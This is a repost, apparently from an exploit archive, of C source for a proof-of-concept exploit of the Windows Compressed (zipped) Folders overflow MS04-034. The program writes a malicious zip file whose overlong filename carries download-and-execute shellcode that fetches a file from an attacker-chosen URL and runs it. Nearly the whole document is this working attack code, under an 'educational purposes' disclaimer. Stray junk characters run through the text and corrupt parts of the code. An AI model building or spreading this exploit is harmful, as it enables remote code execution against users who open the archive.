(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) * * Tested under Windows XP SP0 Spanish/English v6 w6 }" n3 D) u& R) ?- ?; i4 x* * Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html * Exploit Date: 21/10/2004 " B; X8 L! l& [: q u* 4 {! I4 g d; l+ f; Q% @* Tarako - Haxorcitos.com 2004 5 _/ C8 o. ]/ y. c+ G" `* j* 2 E- a# h/ r* S ] L7 b* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" 3 Z# a: |$ b- K. x. P* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * * Greetings t #haxorcitos, #dsr and #localhost @efnet $ \' g" {$ Y; B0 _+ _ Z# s* * ?7 B0 S3 M9 O4 a* 3 F& d2 B8 ^2 J* How to get new offsets: - f9 }; M6 A+ k3 M0 l5 C+ b: m- U* 1) attach debugger (i.e ollydbg) to explorer.exe * 2) open the zip file as a folder and add or move some files to it * 3) search in the explorer.exe memory the shellcode and get the addresses * */ 8 d- r/ O' a0 D- e" [ ) v1 N$ V2 y- u#include <stdio.h> # ~5 c4 O% Z K7 B3 T9 g#include <windows.h> C, I6 {( Y0 N% a7 R #pragma pack(1) . @. @0 F- U3 ~" p3 d#define DATOS "Tarako-Haxorcitos.com" 1 B- B. J; {9 T( }6 @ 1 {2 ?' Q% i1 x/ K1 }" l ]! Stypedef struct { 6 m- Y& F$ Z6 [' L% Q# DDWORD Signature; // PK.. 4 bytes (0x04034B50) 7 X. K, ~; j- O9 Q- GWORD VersionNeeded; 3 A8 K5 U3 }3 m! P( u& ?) YWORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; 5 Y) z# X6 X1 Q6 N5 ZWORD ModFileTime; 7 e; @3 G% B, \/ L. @, ~WORD ModFileDate; DWORD Crc32; 3 M/ Y/ H3 d, \( L+ }" WDWORD CompressedSize; . U' `- l& q0 UDWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; // filename (variable size) // extra field (variable size) 2 S8 F. r! {; \) {5 z1 X}TOPHEADER; typedef struct { ( M$ c$ B; Y9 \* A5 IDWORD Signature; // PK.. 4 bytes (0x02014B50) # I1 D9 }# _5 {WORD MadeVersion; " l t6 K( v1 s% P1 \ b9 mWORD VersionNeeded; ) N1 U4 u9 v9 E. `9 e6 X3 r2 }, NWORD GeneralPurposeFlag; // para el data descriptor y demas 4 V! e; x1 X- UWORD CompressionMethod; 8 E2 U4 F; |, M' F" g+ @% \+ UWORD ModFileTime; WORD ModFileDate; ! V k! v* ^. l8 b* h5 w- TDWORD Crc32; DWORD CompressedSize; ' R2 K! H. ?5 `8 iDWORD UncompressedSize; 6 ?* |/ `' i3 D& V/ vWORD FilenameLength; 9 _( u0 l R9 b" a7 G6 dWORD ExtraFieldLength; . F" i! Q3 E2 _! lWORD FileCommentLength; WORD DiskNumberStart; WORD InternalFileAttributes; DWORD ExternalFileAttributes; ' S" v n' b! N& V/ r5 Y+ r( FDWORD RelativeOffsetOfLocalHeader; // filename (variable size) // extra field (variable size) , V# z9 ~0 x9 j* B// file comment (variable size) % u( r/ X3 o5 v: F, ~: p: }: ]7 h, F4 V}MIDDLEHEADER; typedef struct { DWORD Signature; // PK.. 4 bytes (0x06054B50) + O3 ]9 |2 [$ N" uWORD NumOfThisDisk; WORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; / Z. q7 P: d# h2 eWORD TotalNumEntriesCentralDir; " `7 ~' D# V1 g' _DWORD SizeCentralDirectory; DWORD OffsetCentraDirRespectStartDiskNum; WORD ZipCommentLength; // zipfile comment (variable size) }BOTTOMHEADER; 4 D; G$ L( N8 y# [2 b 5 n) }1 b4 d7 Z J/* * download shellcode - RaiSe - raise@netsearch-ezine.com ) E! Y5 d# q& \# m: @, T5 w*/ 8 k* F1 v3 R* xchar shellcode1[] = "\xEB\x5D\x5F\x8B\xF7\x80\x3F" 9 M! q" m% }# c0 P" \, Y"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" 9 P+ I" u! b7 ~$ W"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" + f* o2 Y2 N, d"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" % L' M+ M" Q1 `"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" 3 H% b) V- _# x0 l9 B% A$ C" Y"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" "\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" "\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" , U. R0 I8 v, S/ C' }: e: @1 v"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" - z7 t g- f6 [0 i% ]"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" ' u6 D. o. r/ K2 V"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" 3 K7 }/ _4 F! |4 D: v"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" $ l: t; k6 Z7 |4 E"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" % O$ _( x$ G3 S& E) O"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" 3 k, B% ~; N. n2 M) C"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" 6 k( i2 F' ]* Q% \"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" , B: A7 Y7 t3 ^5 c8 K"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" 4 ^. W$ U" M* M, P* A"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" Z# p0 |; F; ]3 b$ U4 z; ~# g"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" "\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" & b* `, A) J( B"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" ) E8 J% s# M8 {7 o; I"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" 1 |" M' [/ \; ^* i0 z( l"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" & R! |# L; R& ] ["\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; char shellcode2[] ="\x08\x01"; char offset[]="\x41\x41\x41\x41"; , Q s2 u% U0 `1 F) _( D7 O1 achar jmpbelow[]= "\xeb\x06\x90\x90"; . q; L/ O' M8 P. F5 B% X" Bint main(int argc,char *argv[]) { 5 d t. Z* J' D3 y+ [3 yFILE *ZipFile; TOPHEADER *Cabecera1; & |. Y4 f+ g+ [1 C. @MIDDLEHEADER *Cabecera2; BOTTOMHEADER *Cabecera3; 9 P- B- t% B2 S0 R$ t5 M8 J DWORD c; / ~0 d1 C0 d5 E' JUINT i; char *filename; ) \) x) f3 Y3 x) Q1 }char *url; $ D7 q: ~: g0 Xprintf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); & v; u/ T$ V5 w! s. {if (argc!=2) { printf("\n\n Usage: %s <URL> \n",argv[0]); exit(1); } / B+ g/ ^1 S7 Y9 a' a; Nurl=argv[1]; printf("\n * URL: %s",url); + K: r% H( W% c6 T ; A4 Q$ m3 t3 B& c8 D7 Oif (!(ZipFile=fopen("prueba.zip","w+b"))) { printf("\n [E] fopen()"); exit(1); ' k& D) u. |5 B- n$ B" G5 Q} + [" j) o4 _, s3 @2 [ T 4 r, X* \; u3 ~8 Mc=0x8000; // filename length 9 ]5 v; R. C2 z6 w8 Tfilename=(char*)malloc(sizeof(char)*c); memset(filename,0,sizeof(filename)); * Q) _& o. y1 T) j o; @for( i=0x0;i<c;i++) filename=(BYTE)0x90; - y5 \# {, S c; ? T3 W. c0 O5 H1 V/ @memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); 4 P3 H7 g! g. `0 c0 Amemcpy(filename+0x1818,offset,strlen(offset)); 1 j; |! U: r! U memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); & X! S* f& m; z- S0 p' H memcpy(filename+(c-4),".txt",4); 2 \ } Z& {- W3 @Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); % O: e$ r; I* W# u8 q$ X3 |; PCabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); memset(Cabecera1,0,sizeof(TOPHEADER)); $ R; ^0 g- Q1 n, [7 w" i P6 z% O! vmemset(Cabecera2,0,sizeof(MIDDLEHEADER)); 4 M- V1 k, @3 p0 _. E+ Kmemset(Cabecera3,0,sizeof(BOTTOMHEADER)); & C; E# M; D7 j- J7 | , J) D# p; e4 \& k/////////////////////////////////////////////////////////////////// % g1 Q8 J& z# t! o2 k2 d& ? T// TOPHEADER /////////////////////////////////////////////////////////////////// 5 D- o. d4 I$ V2 V/ V7 VCabecera1->Signature=0x04034B50; // DWORD Cabecera1->VersionNeeded=0x000A; // WORD ; p, }- W8 N/ }3 j$ y, I* WCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas 7 j2 a" d6 D: \; K, p1 ~* {; j+ WCabecera1->CompressionMethod=0x0000; // WORD # z8 c! _* r* n7 ~Cabecera1->ModFileTime=0x1362; // WORD Cabecera1->ModFileDate=0x3154; // WORD & [8 i) _1 e$ L! [+ t4 T1 _, _Cabecera1->Crc32=0x85B36639; // DWORD Cabecera1->CompressedSize=0x00000015; // DWORD / g: H* j: b5 }; S U! `Cabecera1->UncompressedSize=0x00000015; // DWORD Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); 5 L t6 j1 C7 p2 KCabecera1->ExtraFieldLength=0x0000; // WORD 5 q) @% D& z$ P6 m- G& B4 _/////////////////////////////////////////////////////////////////// ) O6 ?& ]; E% r* C8 I! J# i $ {8 [; W# \: }/ A/////////////////////////////////////////////////////////////////// 8 M1 x$ b5 G5 k5 ]! i// MIDDLEHEADER / h2 H! Y) ?- f, B# T' [. M2 P/////////////////////////////////////////////////////////////////// Cabecera2->Signature=0x02014B50; // DWORD Cabecera2->MadeVersion=0x0014; // WORD Cabecera2->VersionNeeded=0x000A; // WORD Cabecera2->GeneralPurposeFlag=0x0002; // WORD Cabecera2->CompressionMethod=0x0000; // WORD * m% A$ l# j9 aCabecera2->ModFileTime=0x1362; // WORD Cabecera2->ModFileDate=0x3154; // WORD " u8 f$ @+ |& C4 o& I3 y! r6 DCabecera2->Crc32=0x85B36639; // DWORD Cabecera2->CompressedSize=0x00000015; // DWORD Cabecera2->UncompressedSize=0x00000015; // DWORD Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); 1 i2 c6 R% g E& q7 D; f; }( ?+ k- JCabecera2->ExtraFieldLength=0x0000; // WORD Cabecera2->FileCommentLength=0x0000; // WORD Cabecera2->DiskNumberStart=0x0000; // WORD Cabecera2->InternalFileAttributes=0x0001; // WORD Cabecera2->ExternalFileAttributes=0x00000020; // DWORD - |0 ^( G9 |3 V* J5 e- VCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD . P' n6 o1 T3 ?6 n/ D/////////////////////////////////////////////////////////////////// & F( U8 ^3 ]/ a, F$ C2 c, q" N ( S/ D# J( |1 ~/////////////////////////////////////////////////////////////////// // BOTTOMHEADER * D( h0 O9 ]3 B/ s4 u- B/////////////////////////////////////////////////////////////////// , {+ N. M& o4 e; MCabecera3->Signature=0x06054B50; // DWORD Cabecera3->NumOfThisDisk=0x0000; // WORD * L, d' G9 F- t# L& H0 K: ]Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD & t' G3 p' S) S/ PCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD Cabecera3->ZipCommentLength=0x0000; // WORD / ]+ {- u4 K! E) e/////////////////////////////////////////////////////////////////// # c, B" n% Y4 w' d + b# i! L# v' R1 o; S/ n1 |; lfwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); / P$ l: Y0 U; _+ E+ S' X fwrite(filename, c, 1,ZipFile); fwrite(DATOS,strlen(DATOS),1,ZipFile); fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); o8 O" x0 ^: t. ]; P0 D8 T3 jfwrite(filename, c, 1,ZipFile); fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); 2 w* y5 q* G: Y fclose(ZipFile); ' {7 L; ?, u6 @: h2 nprintf("\n * prueba.zip created\n"); return 1; 3 T- y) y) J% a8 d2 o- {0 f}//downloaded from milw0rm.com